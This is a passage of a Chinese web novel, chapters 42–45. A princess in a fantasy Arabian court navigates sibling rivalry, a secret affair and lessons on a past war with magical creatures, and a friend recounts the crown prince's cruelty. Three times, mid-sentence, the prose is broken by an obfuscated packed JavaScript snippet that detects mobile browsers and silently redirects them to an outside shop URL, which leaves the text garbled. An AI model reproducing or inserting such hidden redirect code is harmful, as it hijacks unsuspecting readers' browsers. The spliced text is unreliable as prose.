祖拜达王后的女儿法蒂玛公主，因为辛蒂吃光了自己盘中的羔羊肉，直接出言嘲讽辛蒂亚公主是不是在铜宫中没有吃过好东西，竟然这样不知节制。 辛蒂直接反击道：“天主教导我们不应浪费食物，这才是公主应有的美德。” 法蒂玛公主还想说话，哈里发拉希德率先开口称赞了辛蒂亚公主的言论，她只好作罢。 法蒂玛公主的长相在一众公主各具特色的美貌中只能算是寻常，不过她满身的傲气是最扎眼的，让辛蒂不由得就想起了塔斯妮姆“鼻孔看人”的评价。 作为王朝出身最正统的公主，法蒂玛平等地瞧不起所有姐妹，平辈中她恐怕只会在她的亲哥哥马蒙面前才会低下高贵的头颅。 即便如此，法蒂玛公主的讥讽并不正常，她并不会对其他公主这样不客气，这让辛蒂不由思考自己在什么地方得罪了她，难道仅仅是因为座次吗？ 42.阿西玛 辛蒂亚公主的其余姐妹都很正常，既不疏远也不亲密。其中让辛蒂最为印象深刻的是索芭赫的女儿阿西玛公主。 她的母亲是一个黑皮肤的厚嘴唇美人，阿西玛公主完美继承了她母亲的样貌。 不过她似乎为此感到羞耻，辛蒂甚至听到有人议论阿西玛公主的容貌，蔑称她为女奴的女儿。 和阿西玛公主相比，辛蒂亚公主的出身都可以称之为根正苗红，她的母亲至少是个阿拉比亚人。 阿西玛公主比辛蒂的境遇糟糕得多，没人主动跟她交谈，她只能可怜巴巴地干坐在那里。 她似乎对辛蒂亚公主这个从没见过的姐姐相当好奇，却不敢靠近，只是时不时投来几束并不让人觉得冒犯的目光。 尤其是在看到辛蒂毫不犹豫地对法蒂玛作出反击时，她的表情崇拜极了。 辛蒂注意到了她，却暂时没有跟她交流的想法，她还不熟悉这些人，还是多观察少说话比较好。 不得不说，宴席上的菜肴都很美味。 不管是慢烤了二十四小时的羔羊肉，还是加了鸡肉熬煮的奶油浓汤都让辛蒂有舔盘的冲动。 甜品也让辛蒂觉得惊艳，椰枣蜜调制的甜酥和卡达仕酱作为夹心的馅饼都是让人无法拒绝的存在。 宴会的后半段，酒酣饭热，男人们聊着政治、军事等相关的话题，女人们的聊天内容则多是宫廷八卦和服饰珠宝。 辛蒂对于二者都兴趣一般，她注意到了不少人都离开了坐席，不知道去了哪里。 室内确实有些沉闷，巨大的龙涎香蜡烛默默燃烧着，挥发的不止有香气，还有大量的二氧化碳。 香料的味道伴着食物瓜果的香气，说好听点是层次丰富，实际上让人难以顺畅地呼吸。 宴会设置在哈伊尔宫殿群中一栋专门举行宴会的宫殿之中，在哈伊尔宫圆形的布局中大概位于靠内的一环，最中心的位置是哈里发的住所，四周的花园众星拱月地簇拥着那个象征着权力的小小庭院。 辛蒂走出宴会宫殿，漫步在连廊上的时候，就能欣赏到花园中的景色。 因为花园里每隔几米就有的莲花形状的地灯以及连廊上挂着的灯笼，虽然时间接近半夜，却并不昏暗，柔和的烛光足以让人欣赏美景。 花园里除了常见的玫瑰薰衣草之类的，还种着从中国引进的牡丹还有印度的荷花，风格杂糅却又异常和谐。 正在辛蒂仔细观察牡丹的品种的时候，因为灵性变得敏锐许多的听力捕捉到了风里传来的，喷泉后细细的交谈声。 “辛蒂亚为什么会坐在你的身边？”女声因为激动显得尖锐，似乎有些耳熟。 “辛蒂亚是谁？哦你那个妹妹是吧，哈里发安排的座次，我可完全不知情。”这道男声倒是显得十分慵懒，仿佛没有听出对方的不悦。 听到这里，这一对窃窃私语的男女的身份昭然若揭，正是法蒂玛公主和大流士王子。 大流士王子如此随意的应对却让法蒂玛公主的情绪一下和缓了下来，上扬的语调显示出声音主人的愉快心情：“尤什你真过分，辛蒂亚那么美，这还不足以你记住她的名字吗？” “指着安拉起誓，小甜心，除了你，我的眼里再装不下别人了！”大流士王子的语调十分夸张，辛蒂轻易地就捕捉到了背后暗藏的漫不经心。 法蒂玛公主却很吃这一套，撒娇的声音几乎要滴出蜜来。 辛蒂暗自乍舌，毕竟法蒂玛公主在宴席上显得相当端庄，没想到面对情郎能有如此小女儿作态。 她明白了法蒂玛公主有些针对她的原因，可是为什么法蒂玛公主不直接告诉哈里发拉希德她想嫁给大流士王子呢？ 大流士王子恰好解答了辛蒂的疑惑：“我的法蒂玛，祖拜达王后还不同意我们的婚事吗？” 法蒂玛声音沮丧：“母亲希望我至少要嫁到法兰克帝国那样的强国去，如此才能更好的帮助我的兄长。” 她的话让大流士王子黯然神伤：“难道我们此生无缘了吗？” 随后就是大流士王子的倾情演绎，几乎要把法蒂玛公主哄得立即去向哈里发请求成全。 大流士王子阻止了法蒂玛公主：“我有个更好的办法，要是你怀上了我的孩子，祖拜达王后为了颜面或许会同意你我的婚事。” 找哈里发拉希德有什么用？在这件事上，他还是会以祖拜达王后的意见为主。 这句话让法蒂玛公主安静了很久，她的声音再次响起时，带着一丝决绝：“好！我不要做兄长稳固地位的工具，我要追求自己的爱情。” 辛蒂不再继续听下去，她悄无声息地离开，没有被任何人察觉。 看来她不用再针对联姻做出什么动作了，法蒂玛公主对大流士王子势在必得。 不，应该是大流士王子牢牢抓住了法蒂玛。 辛蒂之前在知道哈里发拉希德的想法以后，搜集了很多关于大流士王子的信息。波斯帝国不算弱，但是大流士王子在他的数位年富力强又聪明能干的兄长面前完全不够看。 为了争夺权力，母家毫无背景的他唯一的筹码几乎就是他的婚姻 在这种情况下，阿拉比亚王朝里备受宠爱，母族很有势力的法蒂玛公主成为他的目标也就不奇怪了，他看不上小可怜辛蒂亚太正常不过。 这场大家心思各异的宴席终于走向了尾声，哈里发拉希德在众目睽睽之下拍打着大流士王子的肩膀。 这一幕有些好笑，因为大流士王子比哈里发拉希德高出了太多，不过没有一个人敢露出笑意，仿佛再正常不过。 “尤什，请像在波斯一样自在，就当这里是你的家。” “辛蒂亚公主可以成为你的向导，希望你能领略到这座城市的美丽。” 辛蒂在心中暗自吐槽，铜宫的禁令满打满算不过解除了一个月，她几乎没外出过，大流士王子给她当向导还差不多。 哈里发拉希德的话几乎是在明示辛蒂亚公主会是跟波斯帝国的联姻对象，法蒂玛公主几乎有些控制不住扭曲的神色。 虽然辛蒂和大流士王子双方都不认为未来会按照哈里发拉希德那样相处，明面上都乖乖答应了。 法蒂玛瞪了辛蒂好几眼，辛蒂颇为无语，有本事她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831666|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪哈里发啊，她又决定不了。 宴会一结束，辛蒂就匆匆向外走去，以免给法蒂玛发作的时机。 没想到有同样急促的脚步声在辛蒂的身后响起，回头一看，竟然是阿西玛公主。 因为追赶辛蒂，阿西玛略黑的脸蛋上出现了不明显的红晕，有些气喘吁吁的。 “等，请等一下，辛蒂亚姐姐。” “你好阿西玛，请问有什么事吗？”辛蒂的身体也不太能承受这样急促的快走，索性停下脚步。 其实仔细观察阿西玛，辛蒂发现她并不难看。她长得很像哈里发拉希德，不过在其母基因的优化下，来自于哈里发的五官也变得柔美起来。 只是继承了母亲的肤色和高大的体型让阿西玛跟别的公主格格不入，看得出来阿西玛努力低头含胸，只为了让自己看起来瘦弱娇小，不过因为骨架较大的原因，不管怎样也显得很大一只。 阿西玛不敢直视辛蒂的眼睛，她唯唯诺诺地开口道：“请，请小心法蒂玛，她喜欢大流士王子，恐怕会因此记恨你。” 阿西玛是一个胆小的女孩，但是因为辛蒂在跟她打招呼的时候，那双黑色眼睛里没有丝毫的鄙夷，这让她很受感动，因此才鼓起勇气提醒辛蒂。 不过她也不敢说太多，打定主意要是对方追问她就离开。 没想到辛蒂亚公主并未露出惊讶或者疑惑的神情，更没有追问她是怎么知道的。而是露出了一个微笑，问她要不要到铜宫做客。 辛蒂亚公主的和善让阿西玛感到晕乎乎的，这恐怕是她生下来以后第一次被这样平等地对待。 和她身份地位差不多的看不起她，奴仆们又只会讨好她。 阿西玛迷迷糊糊的就答应了下来，第二天就出现在了铜宫中，吃着辛蒂为她准备的椰枣和芒果。 比起甜蜜的瓜果，铜宫的诱惑显然对于阿西玛来说更大。 她从小就听说了辛蒂亚公主的预言，虽然哈里发拉希德不禁止女眷进入铜宫，可是众公主的母亲们都害怕自己的孩子染上厄运，公主们被禁止靠近铜宫。 就像之前招待塔斯妮姆那样，辛蒂带着阿西玛游览了一圈铜宫后，二人就变得熟悉起来，阿西玛也不再那么拘谨。 辛蒂觉得阿西玛是个很有趣的女孩，她不受其他人欢迎，干脆就不怎么出门，天天待在自己的宫殿里看书，于是懂得许多知识，辛蒂跟她很聊得来。 但是辛蒂发现阿西玛有个坏毛病，她一顿饭只吃一点点，被追问后也只说自己已经饱了。 要知道她可比辛蒂还要高一个头，可是她一顿吃的食物只有辛蒂的三分之一！ 联想到受到法兰西的影响，国内追求瘦弱的风潮，辛蒂顿时明白了阿西玛这样的原因。 她严肃道：“阿西玛，你认为美丽比健康更重要吗？” 阿西玛知道辛蒂的意思，她红着脸嗫嚅着不敢说话。 “不吃饱并不能让你变得美丽，只能让你在面对疾病和危险的时候变得脆弱。” “你是哈里发的女儿，不是用美貌讨好男人的女妓，只有男人讨好你的份！” 43.局势 辛蒂的话并没有什么醍醐灌顶的作用，阿西玛有自己的一套生存逻辑。 阿西玛的母亲索芭赫不受哈里发的宠爱，阿西玛的出生只是一次酒后乱性的结果。在阿西玛的心中，哈里发拉希德的形象更多的是君主而非父亲。 在她看来，她表现得跟别的公主差不多才是最安全的，因此格外痛恨自己的肤色和体型。 辛蒂发现自己的劝说没有起到任何的作用后，轻轻叹了口气。她不再试图用言语说服对方，而是用命令的口吻让阿西玛继续进食，监督着她吃了整整一块白面包又喝了一碗羊肉汤后才罢休。 阿西玛再这样继续虐待自己的身体，恐怕活不到成年就会夭折。 阿西玛不敢违抗地位比她高上许多的辛蒂亚公主，虽然内心十分抗拒，还是吃下了那些食物。 随即她感受到了久违的饱腹感，自从她听到法蒂玛嘲笑她“像猪一样”以后，再也没有让自己吃饱过了。 阿西玛一时间觉得有种暖洋洋的满足感，又发自内心的负罪感极强。脑海里的两个小人你一言我一语几乎要打起来了。 辛蒂解救了阿西玛的纠结，她语气严肃地询问阿西玛道：“关于法蒂玛和大流士的事你知道多少？” 阿西玛脸色一僵，立即就想逃跑，却意识到自己在别人的地盘上，逃无可逃。脑海中闪过许多可怕的设想，难道辛蒂亚想要让她在哈里发面前揭发法蒂玛？ 不，她不能这样做，法蒂玛会生吃了她的。 辛蒂并非真想知道这件事，一个无权无势几乎没有朋友的小女孩又怎么能知道这样隐秘的事的呢？无非是跟她一样无意间撞破的。 话说回来，法蒂玛和大流士的行事并不很隐秘，甚至称得上大胆。在宴席上，他们的眼神交会时几乎可以拉丝。 “不管你怎么知道的，阿西玛，再也不要告诉任何人，这对你没什么好处。” 辛蒂的话让阿西玛再次愣住，为自己龌龊的想法感到羞愧。她发誓自己知道轻重，这件事只告诉了辛蒂亚公主，绝没有向别的人透露半个字。 辛蒂堪称慈爱地摸摸阿西玛的脑袋，虽然外表上没有任何相似的地方，阿西玛让她联想到了曾经也是如此单纯善良的自己。 同样也是无人庇护的自己。 在辛蒂的请求下，哈里发拉希德为她找来了几位老师，教她历史、经济、礼仪和马术骑射。 阿伊莎对此感到大为不满，在她看来辛蒂亚公主应该学习的是诗歌、刺绣、园艺等对于未来管理一个家庭以及与贵妇们交往需要用到的公主课程。 阿伊莎的抱怨是无用的，对付她很简单，辛蒂只需要说“法蒂玛也没有学习诗歌和刺绣，我为什么不能像她一样学习男人们学习的知识呢？” 法蒂玛公主为了逃避祖拜达王后安排的公主课程，坚持要跟埃米尔马蒙一起学习。 祖拜达王后是一个能力极强的女人，怀抱着或许法蒂玛也继承了她的才能的想法同意了这件事。 可惜让祖拜达王后失望的是，法蒂玛的聪明才智几乎全用在偷懒和玩乐上了，公主课程她不喜欢，历史经济之类的课程她也学不下去，最后几乎什么都没有学会。 祖拜达王后认清了这一点后，放弃了法蒂玛的学业，作为她的女儿，法蒂玛什么都不会也能过得很好。 而阿伊莎处处都要和祖拜达王后比较，辛蒂发现了这一点，果然这个理由说服了她。 哈里发拉希德能同意也是因为法蒂玛公主，男人们的课程可没有公主课程那么轻松，辛蒂亚迟早也会像法蒂玛那样放弃。 接下来的日子里，辛蒂就投入了紧张的学习生活之中。就像她预料中的一样，波斯的大流士王子一次都没有找过她，恐怕在忙着耕耘，期待着一颗能让祖拜达王后大吃一惊的种子的诞生。 塔斯妮姆来找过辛蒂几次，第一次来邀请她观看大象表演，第二次来邀请她一起去密林狩猎，没有第三次，因为前两次都被拒绝了。 她颇有怨气：“辛蒂亚，你难道就不好奇你父亲的王国长什么样子，不渴望听一听那些平民对铜宫公主的恭维吗？” “这些密密麻麻的文字还能有活生生的人和事更加有趣吗！” 辛蒂心说，那当然，大象可不会告诉我原来祖拜达王后的家族——塞尔柱家族占据了这个国家的半壁江山，在各个领域都有出色的人才， 祖拜达王后更是凭着一己之力，在家族即将倾覆的时候力挽狂澜，凭借着挖哈拉姆家族的墙角，让塞尔柱家从落魄贵族到如今的庞然大物。 单单是祖拜达王后本人，已经可以写出一本精彩的自传小说。 更别说她的弟弟，如今的国舅阿卜杜拉，他的军队所向披靡，阿拉比亚王朝能有今天的繁盛离不开阿卜杜拉在军事上的非凡才能。 来到这个世界以后，她一直被一连串的事牵着鼻子走，虽然基本上都应付过去了，可是辛蒂厌恶这种感觉。 辛蒂渴望掌握更多的信息和知识，这样才能帮助她在这个地方站稳脚跟，而不是只能任凭父君的安排被嫁给什么乱七八糟的王子。 所以面对外界那些享乐的诱惑，辛蒂不是不好奇不向往，毕竟是两辈子都没见过的事物。 可是辛蒂深知现在还不是享受玩乐的时机。 除了塞尔柱家族，阿拉比亚王国中还有王室所在的哈拉姆家族和宰相叶海亚所在的巴尔克马家族最为强盛。 王国中现在隐隐有三足鼎立之势，后二者的相互制衡之下哈拉姆家族才能稳坐王位。 当然还有若干大大小小的其他家族，都不能和这三家媲美。 除了眼下的□□面，辛蒂还学到了更重要的关于魔法之类的知识，这来自于辛蒂的历史老师，白胡子老头阿布。 阿布老师出身于伊斯法罕尼家族，王国中著名的学者几乎大半都出自这个家族，辛蒂的礼仪老师也来自伊斯法罕尼，差不多年纪的老头，他看见阿布却要尊称一声三祖父。 这不仅仅是因为阿布老师的辈分以及他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836127|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家族的直系，更因为阿布老师掌握的知识是其他人拍马不及的，几乎是阿拉比亚王国，不，已知的所有王国中最为渊博的人。 这样的大能会成为一个普通公主的老师，辛蒂当然觉得受宠若惊。 甚至哈里发拉希德都隐隐对自己的女儿产生了一丝嫉妒，教授他的老师可没有一位有这样的分量。 可这并非是哈里发拉希德决定的，而是早就退休的阿布大师主动提出要教授辛蒂亚公主知识。 大部分人都觉得这是阿布大师一时兴起，辛蒂亚公主运气好恰巧赶上了，甚至辛蒂本人也这么认为。只有很少人知道这是出自仙女的授意，否则阿布大师应该在周游世界呢。 总之阿布大师成为了辛蒂的历史老师，不仅仅只教授她王国的历史，当前的□□面、别国的军事情况、各个家族之间的来往和渊源都是课堂上会提到的。 甚至包括关于魔法和非人的智慧生物的知识。 关于这方面，辛蒂学到的第一个知识就是“绝不滥用魔法”，这句话实在是叫人疑惑，最起码表面上她和魔法没有任何关系，更不要说“滥用”。 阿布老师的回答意味深长：“权力者无需拥有魔法便可以支配魔法。” 这句话更让辛蒂觉得疑惑，即使权势滔天如哈里发，也会畏惧魔法的威能，不愿意魔法物品落到他人手里，他又如何能支配魔法呢？ 阿布老师给辛蒂讲述了一个真实发生，却并未记录在史书中的故事。 在很久很久以前，有个国王野心勃勃，希望能在自己的有生之年统一这片大陆。 各国的势力相差不远，他有信心在自己的治理下王国会越来越昌盛，实力会远超他国，最后实现统一，可是他没有那么多的时间。 国王想要加快统一的进程，他想到了魔法。在他尚未发迹的时候曾经见识过魔法的力量，那是可以让孩童击倒大汉的伟力。 于是国王发出布告，广征各地的巫师辅佐他征战各国。 魔法不是万能的，至少没有巫师可以凭借魔法变出金子来用。但是使用魔法辅佐国王他们可以获得丰厚的回报。 于是王国中挤满了巫师和仙女、狼人、矮人等魔法生物。仙女擅长预言和治疗，狼人能够只身杀死一支军队，矮人制作的武器盔甲的水平远超他国。 他们原本是异类，不被接受的存在，有了国王的命令，他们也能现身于人前。 听到这里辛蒂提出了疑惑，为什么巫师和魔法生物有这样强大的力量，却没有试图取代人类，成为这新大地的新主人呢？ 她相信没有生物不愿意光明正大地z活着。 阿布老师的解答是因为人类的数量更多。 不是所有人都有学习魔法的天赋，巫师和狼人在人类之中万里挑一，魔法生物则或是如矮人繁殖能力极差，或是仙女那样天生地养，少有成型。 这些生物的数量少到人类仅凭人海战术就能把他们磨到灭绝，更别提人类还会制作各种工具和武器。 44.穆塔之战 辛蒂恍然，意识到了那位国王这样的决定是多么的愚蠢。 国王也知道自己任用巫师和魔法生物的决定算不上多么英明，可是他对于统一的渴望太过于炽热，时时刻刻焚烧着他的理智，以至于他只能这么做。 一开始果然就如同他预料中的那般，在魔法的帮助下他的军队如虎添翼，以扫荡之势踏平了邻国。 在他准备一鼓作气继续征战的时候，其他的国家已经反应了过来，用更丰厚的报酬招募巫师和魔法生物。 于是接下来的战争中，对方的军队中也开始使用魔法。 己方的火焰弹扫平了对面的前锋，对面就用矮人制作的火药炸烂他们的粮仓。在这样充满了各种法术的战争中，人类的□□是最脆弱的。 几场战争下来，国王不再获得胜利，而各国的军队都出现了大幅的损耗。 国王已经杀红了眼，即使大臣们反复劝诫，他仍然要坚持打下去。 不过十年时间，不管哪个国家都不可避免地被拉入了战争的泥沼，人口的折损超过了百分之九十。 这个时候打不打已经由不得人类的意愿了，矮人狡诈，在长年的战争中获得了许多金子，也养大了他们的胃口。 他们为了获得更大的利益，在背后兴风作浪，掀起了一场又一场的战争。 他们的最终意图是让人类自我消耗，这样全世界的金子都会属于矮人。 挑起战争的那位国王已经身死于此，他的继任者意识到这已经不是国与国之间的战争，而是人类和非人的智慧生物之间的战争。 不少人同样意识到了这一点，不管矮人怎么挑拨离间，人类的战争停止了。 矮人，甚至就连最不热衷权势的狼人也不甘于此。他们知道这是崛起的最好时机，善良的仙女也未曾反驳这一点。 巫师以及魔法生物和人类之间的战争开始了，这场战争被许多人称之为穆塔之战，穆塔即最初任用魔法生物掀起战争的国王的名字。 这是一场异常惨烈的战争，连年的战争中幸存下来的人类十不存一，好在最后因为仙女和巫师的临阵倒戈，人类还是取得了胜利。 大部分巫师都战死了，魔法生物逃回了曾经居住的深山和最为罕为人迹的沙漠之中。 因为巫师和仙女最后倒向了人类，他们得到了一定的优待，所以现在的人还能听到这两个群体活跃的消息，对于矮人和狼人，尤其是矮人，人们都深恶痛绝。 “辛蒂亚，你知道为什么最后会造成那样的局面吗？”阿布老师捋着雪白的胡须发问。 辛蒂从故事中回过神来，这是一个很大的问题，不过她大概知道阿布老师想听到怎样的答案，她细细斟酌后才答道： “因为贪婪，人类妄图掌握自身无法驾驭的力量。” 阿布老师点点头，没有显露出满意或者不满意的表情，继续问道：“如果你是那位国王，你会怎么做？” 二者都没有觉得这句话有什么不对，旁边侍立的女奴哈迪贾却忍不住抬起脑袋看看这个又看看那个，这是公主应该思考的问题吗？ 辛蒂没有注意到哈迪贾的动作，这次她的回答毫不犹豫：“这可以是威慑，而非真正的打击。” 现代国家不就是这样的吗？核弹的存在威慑的意义大于实际的战略意义，真正使用的后果对于人类来说并不可控而且难以承担。 辛蒂如今明白了“绝不滥用魔法”这句话的真正含义，她忽然觉得自己之前妄想着拿到打火匣以后就能统治王国的想法太可笑了。 这个世界上既然有打火匣，就必然有更加厉害的魔法物品。 她敢说只要自己一使用打火匣，就会出现许多魔法方面的敌人。 至于士兵为什么可以依靠打火匣打服所有人？命运可以制造出无数巧合让一件荒谬的事成为现实，只是因为故事的发展就应该是那样的。 辛蒂忽然觉得还是依靠知识和才能而非武力获取权力才是正确的道路，毕竟她不是想成为乱七八糟的巫师教派的首脑，而是一个哈里发。 难道阿布老师是察觉到了她对魔法的渴望才会教授她这方面的知识？ 辛蒂很快将自己的怀疑抛之脑后，她现在应该做的，能做的就是拼命汲取知识，不管是什么方面的知识。 阿布老师的故事也解答了辛蒂长久以来的疑惑，她一直都想不通为什么所有人提起仙女来态度都十分自然，可是当她询问为什么不害怕这种魔法生物的时候，又没有人说得出所以然来，逼急了就说向来如此。 确实是向来如此，因为没有记载在史书中，知道这个故事的人很少，对于仙女的态度一脉相承。 至于为什么没有记载在史书中，不需要询问阿布老师，辛蒂也能猜到原因，无非是为了能更好的统治民众，知道的人越少，会利用魔法生物生事的人就越少。 各国的国王和大贵族们都会通过族中的智者或者文字将这件事代代相传，以警示后人。 阿布老师在为辛蒂讲述完相关的历史背景后，才说起她最为关心的如今的巫师和魔法生物的情况。 “如今矮人和狼人基本已经绝迹，不知道躲到了什么地方。仙女则如你所见，大多不问世事，只有在受到邀请后才会出现为王室的新生儿祈福。” 辛蒂点点头，虽然她从未见过仙女，她认为这是一群很会趋利避害，爱好和平的魔法生物。 “至于巫师，王国中到处都是巫师，不过他们大多掌握的魔法都不成体系。” “大概十年前，王国中出现了一个名叫‘阿赫勒教团’的巫师组织。这个组织自有一套巫术的体系，在这些年间吸收了不少成员，如今已经是一个不容小觑的势力。” 阿布老师的语气颇为严肃，似乎很有些忌惮这个组织。 短暂的停顿后，阿布老师又慢悠悠地开口：“而且听说他们最近迎回了他们的圣物，一只魔法火匣，据说在穆塔之战中遗失。” 魔法火匣？不就是打火匣吗？辛蒂心中一震，几乎要控制不住自己的表情。 面对老师，辛蒂直接说出了自己的疑问：“所谓的‘魔法火匣’是否就是士兵之前拥有过，将我掳走的魔法道具？” 年轻人的脑子就是好使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840749|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，阿布当然不知道辛蒂早就知道魔法火匣的底细，只以为她通过蛛丝马迹猜到了什么。 “是的，你的父亲也知道这件事，听说他发了好大的脾气，不过即使是他，也拿阿赫勒教团没有办法，毕竟人家也没有触犯法条。” “他没有得到魔法火匣未必是什么坏事，穆塔国王的事已经过去千年，现在已经很少有人知道魔法的威能了。” 事关哈里发拉希德，或许只有像阿布这样德高望重的大师才敢这么说。 即使这里只有她和阿布老师还有女奴，辛蒂也不好议论，只是垂眸不语。 阿布老师知道的东西比她想象中多得多，辛蒂做出好奇的样子问道：“那个魔法火匣似乎也没什么了不起的，我在梦中见过它召唤出的大狗，也就跟狮子差不多大。” 辛蒂话语中的不屑不加掩饰，要是对方是一个年轻人或者喜欢卖弄的人，或许就按耐不住说出了所有自己知道的东西。 可惜阿布老师不属于任何一种，他只是捋着自己的胡须，再次露出了意味深长的笑容。 再次得到关于打火匣的消息之后，辛蒂有些坐不住了。阿布老师的话语中透露出了一个关键信息，距离阿赫勒教团上次使用打火匣，足足有一千年之久。 这么长的时间过去，有没有一种可能，阿赫勒教团根本就不知道树洞里的财富呢？ 一想到原故事中堆积如山的金币、银币和铜币，辛蒂的内心就砰砰直跳。 有了这样一笔钱，她可以迅速养出一股属于自己的势力。 可是要得到这笔钱，她必须要有自己的人手才行，事情似乎陷入了某个怪圈。 辛蒂还没思考出一个万全的办法，忽然有一天，塔斯妮姆双目通红地来到了铜宫，一看就哭了很久。 辛蒂吩咐女仆煮了一个鸡蛋来替她轻轻地揉眼睛，一边关切问道：“这是发生了什么？” 来到铜宫之前，塔斯妮姆已经调整好了自己的情绪，可是还是忍不住抽噎了几下：“辛蒂亚，我，我不想嫁人，我已经很努力了，为什么还是非要让我为家族联姻呢？” 辛蒂心中叹息，她如今自身难保，这是一件她无论如何也帮不上忙的事。 辛蒂很疑惑，她最近很关注外界的消息，阿布老师也常常“不经意”间告诉她各个家族的最新动向，可是她从没听说过巴尔克马家要和哪个家族联姻呀？ 辛蒂轻拍塔斯妮姆：“你是不是听错了？你可是叶海亚宰相最疼爱的女儿，你的年纪还小，巴尔克马家不会轻易许诺你的婚事。” 塔斯妮姆从辛蒂的怀里抬起头，微微泛绿的眼睛里竟然满是绝望，她摇摇头： “不，我不会弄错的。我的父亲从小就告诉我，我和哈拉姆的马蒙有秘密婚约，最近我的母亲被祖拜达王后召见，我知道她们肯定是在商量婚事！” 这是一件很隐秘的事，塔斯妮姆从小就被叮嘱不要外传，她也一直守口如瓶。可是如今她母亲被召见，恐怕再过不久就人尽皆知，她再也藏不住她倾吐的欲望。 辛蒂心中一惊，那一瞬间她的脑海里闪过许多想法。 45.把柄 这表面上是埃米尔马蒙和巴尔克马家的秘密婚约，本质未尝不是塞尔柱和巴尔克马重新建立起亲密的联结。 看来这两家并不像表面上那般针锋相对，实际上已经互抛媚眼许久了。 这是祖拜达王后为自己的儿子能成功继位再添的一层保障，恐怕这桩婚事完成后，再也无人能动摇埃米尔马蒙的继承人的地位，即使是哈里发拉希德想要换个继承人也得掂量几下。 祖拜达王后的野心让辛蒂感到心惊，这件事哈里发知道吗？ 可是话又说回来，塔斯妮姆为什么这么抵触这件事？她知道塔斯妮姆一直想有自己的势力不受家族的摆布，可是二者并不冲突。 在她看来，有祖拜达王后的先例，和埃米尔马蒙的婚姻反而更能帮助她获得权势，塔斯妮姆是个聪明的女孩，没道理想不到这一点。 辛蒂的疑问让塔斯妮姆沉默了许久，最后下定了决心。她的声音很低，像是怕被什么人听见，嗓音轻颤道：“我害怕他，辛蒂亚，你不了解，他简直是个恶魔。” 他，自然指的是阿拉比亚王国的继承人，马蒙·本·拉希德。 在塔斯妮姆很小的时候，还不懂婚约是什么意思，只知道自己未来会和马蒙一起生活，因此对他多了很多好奇，常常跟在马蒙的屁股后面转悠。 马蒙不管是对自己的妹妹法蒂玛还是对塔斯妮姆都关爱有加，从来都是一副耐心好兄长的模样，不像塔斯妮姆的哥哥老是不耐烦，因此她很喜欢粘着他。 变故发生在一天傍晚，塔斯妮姆找遍了所有马蒙可能会待的地方都没有看到他的人影。 最后在阴沉沉的天色下，她被刺耳的猫叫声吸引，看到了花园角落里的马蒙。 十岁的小男孩脸上卸去了那副天真可爱的面具，脸上一点表情都没有，眼睛里闪烁着邪恶的光芒。 他蹲在那里，手边一具被开膛破肚的波斯猫的尸体。塔斯妮姆认出了那是法蒂玛最喜欢的宠物，不久前还在她的脚边冲着人翻出柔软雪白的肚皮，喵喵讨食。 马蒙的手上满是鲜血，此时正犹嫌不足地用匕首划拉着面前的血肉，那柄镶满红宝石的匕首是哈里发送给他的十岁生日礼物，在灯光的反射下折射出妖冶的红光。 小小的塔斯妮姆被这一幕吓得魂不附体，直觉地捂着嘴，没有惊动任何人的离开了花园。 回去之后她就发了高烧，梦里那把红宝石匕首插进了她的胸腹之中，她的血流了一地。 病好后她假装不经意询问法蒂玛：“您的波斯猫呢？我在病中很想念它。” 法蒂玛无所谓地笑笑：“丢了，可能跑出宫去了吧。”她当然不会缺宠物，没了一只波斯猫，还有灰鹦鹉、猎犬甚至狮子幼崽供她取乐。 塔斯妮姆打了一个冷战，她想起了以前没有在意过的，马蒙和法蒂玛身边频繁更换的宠物们······ 马蒙注意到了塔斯妮姆在他面前勉强的笑容和僵硬的肢体动作，不费什么力气稍作调查后他就知道她看见了不该看的东西。 要是母亲为他苦心筹谋来的盟友因此对他产生意见，他肯定会被骂的。 于是他带着大量礼物上门向塔斯妮姆赔罪，塔斯妮姆心中仍相信着马蒙，且马蒙一再许诺以后再也不做这样的事了，年幼的塔斯妮姆很快就被哄好了。 马蒙的许诺当然是假的，塔斯妮姆后来又无意间撞见了几次马蒙虐杀小动物的场景，她只能装作没看见，心中对于马蒙的恐惧和排斥日益加深。 她确信祖拜达王后也知道这件事，马蒙的母亲都视若无睹，她又有什么立场干涉马蒙呢？ 可是后来的马蒙不再满足于小动物了，他开始寻求更大的动物，比如狮子和老虎，又比如人。 他第一次杀人的时候是一次小型的聚会，庆祝马蒙初次参与公务。 聚会上一个女奴失手将汤汁洒到了马蒙的靴子上，他当即暴怒，抄过女奴手里的盘子重重地砸向她的脑袋。 女奴的求饶和周围人的劝说他置若罔闻，只是一下一下地重击着那个可怜的脑袋，直到她全无声息地死去。 